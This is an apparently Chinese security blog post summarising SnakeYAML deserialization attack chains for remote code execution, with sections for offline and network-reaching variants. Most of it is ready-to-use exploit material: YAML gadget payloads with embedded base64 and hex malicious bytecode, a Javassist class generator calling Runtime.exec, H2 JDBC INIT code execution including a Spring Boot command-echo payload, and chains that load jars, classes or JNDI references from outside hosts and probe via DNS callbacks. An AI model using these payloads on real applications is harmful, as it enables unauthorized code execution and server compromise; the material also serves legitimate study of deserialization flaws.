SnakeYaml利用总结
1diot9 Lv4

前言

SnakeYaml在2.0之前的版本默认不开启安全模式,会自动调用构造方法和setter方法来实例化一个类,因此存在很多反序列化打法。这里总结一下常用的链子,为基于JavaBean机制的反序列化积累知识。

不出网

JDK原生

从这篇文章学习:奇安信攻防社区-SnakeYaml 不出网 RCE 新链(JDK原生链)挖掘

适用于jdk8,不需要出网,实用性很高,能直接RCE。

简要分析

1、sink

在CC链中,有一个TrAXFilter类,它的构造方法能够触发newTransformer,从而通过TemplatesImpl触发字节码加载。TemplatesImpl里有几个关键的字段需要赋值,分别是:_bytecodes,_tfactory,_name 。现在让我们看看能不能通过构造方法来为这几个赋值,如果能的话,很可能就能使用SnakeYaml进行反序列化。

有两个protected构造方法:

img

上面那个跟进init:

img

非常巧,我们需要的几个字段都能在构造方法中赋值。

2、byte[][]如何写入.yml

byte[] 对应 !!binary xxxxx,但是byte[][]应该怎么写?

这里直接给出文章中的答案,[!!binary xxxxx]

可以通过序列化一个有byte[][]字段的对象来观察。

3、发现报错

初步的poc:

1
2
3
4
5
6
7
!!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [
[!!binary SGVsbG8=],
"heihu577",
!!java.util.Properties {},
!!int 0,
!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}
]

但是却报错:

img

说是找不到合适的构造方法。

我们跟进报错,去调试一下:

img

上面这张图,首先将参数数量一致的构造方法添加进List,然后进行判断。如果构造方法是唯一的,就会将yaml文件中读取到的数据,全部转换为符合构造函数参数的数据类型。

下面这张图,在构造方法大于1个时进入。我们目前就属于这种情况。问题出现在isAssignbleFrom。

img

虽然我们传入的是一个bytes[][],但是解析后变成了ArrayList,而byte[][]和ArrayList是不满足if的,也就是byte[][] = new ArrayList()是不成立的,如下图。所以在这儿会抛出错误。

img

4、解决报错

由于TemplatesImpl是硬编码,不能修改的。所以我们只能想办法让传入的byte[][]先从ArrayList转换成byte[][],再进入if。

这里运用的方法是先创建引用类型,而后引用。

这里作者找到了这样一个类 com.sun.javafx.iio.ImageFrame 这个类有两个不同参数的构造方法,且构造方法中有byte[][]类型的参数:

img

最终payload:

1
2
3
4
5
6
[
!!com.sun.javafx.iio.ImageFrame [null, null, 0, 0, 0, &A [!!binary "yv66vgAAADQAXwoAEgA0BwA1CgACADQHADYKADcAOAoAOQA6CgACADsJADwAPQcAPgoACQA/CgBAAEEKAEIAQwgARAoAQgBFBwBGBwBHCgAQAEgHAEkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExjb20vaGVpaHU1NzcvYmVhbi9FdmlsOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBKAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBGAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAEwAUAQAqb3JnL2FwYWNoZS90b21jYXQvdXRpbC9jb2RlYy9iaW5hcnkvQmFzZTY0AQAWY29tL2hlaWh1NTc3L2JlYW4vRXZpbAcASwwATABNBwBODABPAFAMAB4AUQcAUgwAUwBUAQAQamF2YS9sYW5nL1N0cmluZwwAEwBVBwBWDABXAFgHAFkMAFoAWwEABGNhbGMMAFwAXQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEwBeAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAK2NvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL1JlcG9zaXRvcnkBAAtsb29rdXBDbGFzcwEASShMamF2YS9sYW5nL0NsYXNzOylMY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvY2xhc3NmaWxlL0phdmFDbGFzczsBADRjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEABShbQilWAQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEABAASAAAAAAAFAAEAEwAUAAEAFQAAAC8AAQABAAAABSq3AAGxAAAAAgAWAAAABgABAAAADgAXAAAADAABAAAABQAYABkAAAAJABoAGwABABUAAABeAAQAAgAAACK7AAJZtwADEgS4AAW2AAa2AAdMsgAIuwAJWSu3AAq2AAuxAAAAAgAWAAAADgADAAAAEAATABEAIQASABcAAAAWAAIAAAAiABwAHQAAABMADwAeAB8AAQABACAAIQACABUAAAA/AAAAAwAAAAGxAAAAAgAWAAAABgABAAAAHwAXAAAAIAADAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACQAJQACACYAAAAEAAEAJwABACAAKAACABUAAABJAAAABAAAAAGxAAAAAgAWAAAABgABAAAAJAAXAAAAKgAEAAAAAQAYABkAAAAAAAEAIgAjAAEAAAABACkAKgACAAAAAQArACwAAwAmAAAABAABACcACAAtABQAAQAVAAAAZgADAAEAAAAXuAAMEg22AA5XpwANS7sAEFkqtwARv7EAAQAAAAkADAAPAAMAFgAAABYABQAAABYACQAZAAwAFwANABgAFgAaABcAAAAMAAEADQAJAC4ALwAAADAAAAAHAAJMBwAxCQABADIAAAACADM="], null],
!!com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter [
!!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl [*A,"heihu577",!!java.util.Properties {},!!int 0,!!com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl {}]
]
]

bytecode生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ByteCodeGen{
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
byte[] bytes = genByte("calc");
String s = Base64.getEncoder().encodeToString(bytes);
System.out.println(s);
}

public static byte[] genByte(String cmd) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass sink = pool.makeClass("Sink");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
sink.setSuperclass(superClass);
CtConstructor static_block = sink.makeClassInitializer();
static_block.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
return sink.toBytecode();
}
}

小结

1、找可以利用的构造函数

2、可以通过& * 引用的方式转换数据格式

MarshalOutputStream写Jar包+SPI

yaml用的jar包可以由这个工具生成:GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads

先写文件

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar"],false],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576]]

再spi触发

1
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///SnakeYaml/success.jar"]]]]

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class Marshal {
public static void main(String[] args) throws IOException {
marshal("./poc/yaml-payload.jar", "success.jar");
spi();
}

public static void spi() throws IOException {
Yaml yaml = new Yaml();
String spi = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///D:/BaiduSyncdisk/code/MyJavaSecStudy/SnakeYaml/success.jar\"]]]]";
yaml.load(spi);
}

public static void marshal(String filePath, String fileName) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get(filePath));
byte[] bytes_zip = deflateZip(bytes);
String file = Base64.getEncoder().encodeToString(bytes_zip);
String marshal = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+fileName+"\"],false]," +
"!!java.util.zip.Inflater { input: !!binary " + file + "},1048576]]";
Yaml yaml = new Yaml();
yaml.load(marshal);
}

public static byte[] deflateZip(byte[] input){
Deflater deflater = new Deflater();
deflater.setInput(input);
deflater.finish();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
while (!deflater.finished()) {
int len = deflater.deflate(buf);
baos.write(buf, 0, len);
}

deflater.end();
return baos.toByteArray();
}
}

简要分析

具体的构造方法自己看一下。这里主要讲在哪里触发文件写入的。

Marshal的构造方法,这里面out是InflaterOutputStream:

img

下面是完整调用过程

img

小结

1、java.io.ObjectOutputStream#ObjectOutputStream(java.io.OutputStream)能触发out.write,有可能可以写文件

Marshal+ClassPathXmlApplicationContext

jdk8只支持spring-boot-starter-web 2.xx版本,3版本必须用jdk17

exp

先通过Marsal写xml:

1
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["success.jar"],false],!!java.util.zip.Inflater { input: !!binary eJxLLE5JTCkGAAh5AnE= },1048576]]

再加载xml:

1
!!org.springframework.context.support.ClassPathXmlApplicationContext [ "http://example.com/spring.xml" ]

xml格式:可以用java-chains生成

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="javax.xml.bind.DatatypeConverter.parseBase64Binary"/>
<property name="arguments">
<list>
<value>yv66vgAAADIAQAEAaW9yZy9hcGFjaGUvY29sbGVjdGlvbnMvY295b3RlL2pzb25Gb3JtYXRWaXNpdG9ycy9Kc29uSW50ZWdlckZvcm1hdFZpc2l0b3IyYTEzOGQ4MmU3MjQ0OWMzYTU3Y2NjMzYzYTMyMTcwYgcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=</value>

</list>

</property>

</bean>

<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="914"/>
</bean>

<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>

简要分析

这个也是两步,写文件,本地读文件,ClassXml那个类的构造方法为什么能触发可以自行学习一下。

H2

exp

img

img

2.1及以上版本只支持jdk17,且使用的是五个参数的构造函数,exp:

1
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {}, "a", "b", false ]

2.0及以下版本,支持jdk8,但只有2.0可打,且使用的是四个参数的构造函数,其exp:

1
!!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {}, "a", "b"]

1.9版本没法打,因为其org.h2.jdbcx.JdbcDataSource#getConnection(),没有触发构造方法。

上面的yaml也可以分行写:

1
2
3
4
5
6
7
8
9
10
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
drop alias if exists exec;
CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;
CALL EXEC ();
- a
- b
- false

url中的xxx=xxx其实就是properties的形式,可以写到构造函数的第二个参数里

Properties写成一行的话就是{MODE: MSSQLServer, INIT: …}

INIT后面的 | ,表示多行文本块。

springboot回显exp:

1
2
3
4
5
6
7
8
9
10
!!org.h2.jdbc.JdbcConnection
- jdbc:h2:mem:test
- MODE: MSSQLServer
INIT: |
DROP ALIAS IF EXISTS EXEC;
CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;
CALL EXEC ();
- a
- b
- false

简要分析

这里主要是H2SQL打JDBC

JDBC-Attack 攻击利用汇总-先知社区

C3P0二次反序列化

可以出网也可以不出网。还是推荐用Java-chain工具生成。

exp

这个是TemplatesImpl加载字节码执行calc的

1
2
!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
userOverridesAsString: "HexAsciiSerializedMap:aced0005737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372002a6a6176612e6c616e672e537472696e672443617365496e73656e736974697665436f6d70617261746f7277035c7d5c50e5ce02000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e00200007870000003b3cafebabe0000003200420100446f72672f6170616368652f736869726f2f636f796f74652f4f626a6563745265616465723839656130316663313231623435316562333435643937303234353266633031070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c6574070003010004626173650100124c6a6176612f6c616e672f537472696e673b010003736570010003636d640100063c696e69743e0100032829560100136a6176612f6c616e672f457863657074696f6e07000b0c0009000a0a0004000d0100076f732e6e616d6508000f0100106a6176612f6c616e672f53797374656d07001101000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b0c001300140a001200150100106a6176612f6c616e672f537472696e6707001701000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b0c0019001a0a0018001b01000377696e08001d010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a0c001f00200a00180021010007636d642e6578650800230c0005000609000200250100022f630800270c0007000609000200290100072f62696e2f736808002b0100022d6308002d0c00080006090002002f0100186a6176612f6c616e672f50726f636573734275696c646572070031010016285b4c6a6176612f6c616e672f537472696e673b29560c000900330a00320034010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0c003600370a003200380100106a6176612f6c616e672f4f626a65637407003a0100083c636c696e69743e01000463616c6308003d0a0002000d010004436f646501000d537461636b4d61705461626c6500210002000400000003000900050006000000090007000600000009000800060000000200010009000a000100400000008400040002000000532ab7000e1210b80016b6001c121eb600229900101224b300261228b3002aa7000d122cb30026122eb3002a06bd00185903b20026535904b2002a535905b20030534cbb0032592bb70035b6003957a700044cb100010004004e0051000c00010041000000170004ff002100010700020000096507000cfc000007003b0008003c000a000100400000001a000200000000000e123eb30030bb000259b7003f57b10000000000007074002431666639653232642d663032362d346461382d626363622d666362363936616265636534707701007871007e000d78;"

出网

这里大多是一些常规JNDI打法。能不能用需要判断一下jdk版本有没有限制JNDI反序列化,有没有模块化机制,能不能绕过。

JdbcRowSetImpl

1
2
3
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://127.0.0.1:50389/8ebd8d"
autoCommit: true

Dns

1
{!!java.net.URL ["http://321213.n4s0yv3nfxrbbvlddamiykomhdn4buzj.oastify.com/"]: 1}

这里的{URL: 1},是为了让SnakeYaml解析成Map的形式,这样才会触发key.hashCode()的逻辑。

SpiLoadJar

最经典的

1
2
3
4
5
6
7
8
!!javax.script.ScriptEngineManager
- !!java.net.URLClassLoader
- - !!java.net.URL ["http://127.0.0.1:8888/success.jar"]
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8888/success.jar"]
]]
]

SimpleJndiBeanFactory

需要spring-bean依赖,一般spring自带。

1
2
3
4
5
6
7
8
9
10
11
12
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {targetBeanName: "ldap://127.0.0.1:50389/8ebd8d", propertyPath: "xxxx", beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {shareableResources: ["ldap://127.0.0.1:50389/8ebd8d"]}}
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: ldap://127.0.0.1:50389/8ebd8d
propertyPath: xxx
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources: ["ldap://127.0.0.1:50389/8ebd8d"]
!!org.springframework.beans.factory.config.PropertyPathFactoryBean
targetBeanName: ldap://127.0.0.1:50389/8ebd8d
propertyPath: xxx
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
shareableResources:
- ldap://127.0.0.1:50389/8ebd8d

C3p0Jndi

exp

1
2
3
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
jndiName: "ldap://127.0.0.1:50389/8ebd8d"
loginTimeout: 1

XBean

exp

1
2
3
4
5
6
7
8
!!javax.management.BadAttributeValueExpException
- !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding
- "baka"
- !!javax.naming.Reference
- "any"
- "CalcAbs"
- "http://127.0.0.1:7778/"
- !!org.apache.xbean.naming.context.WritableContext []

这里是直接从远程加载.class文件,Reference的第二个参数是.class文件的类名,如果有包名前面要写包名。url最后的斜杠不能少。

注意,这个最后走的是Codebase加载字节码,这个跟rmi一样,8u121就被禁了,实用性比较低。

img

Commons-Configuration

exp

1
2
3
4
5
? !!org.apache.commons.configuration.ConfigurationMap
- !!org.apache.commons.configuration.JNDIConfiguration
- !!javax.naming.InitialContext []
- "ldap://127.0.0.1:50389/8ebd8d"
: 1

多行时,不支持直接把一个复杂类作为键,需要用?表示键的开始。

1
!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [], "ldap://127.0.0.1:50389/8ebd8d"]] : 1

依赖探测

exp

1
2
# 前面的类存在,后面才会有dns解析记录
{!!org.apache.commons.configuration.JNDIConfiguration {}: 0, !!java.net.URL ["http://JNDIConfiguration.sxt5r0ws82kg40ei6ffnrphraig942sr.oastify.com"]: 1}

这里要求被探测的类有无参构造或者是一个接口,不然会因为没有合适的构造方法而报错。

小结

SnakeYaml利用要关注构造方法,能通过构造方法触发的链子,都可以尝试迁移到SnakeYaml。

同时也要关注字段为private或protected或static,且其setter只有一个参数的public setter方法。

img

这个public不能进,进去了就变成FieldProperty了,那到时候调用property.set时就不会调用invoke。

setter不是public的话,会在这里抛出:

img

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量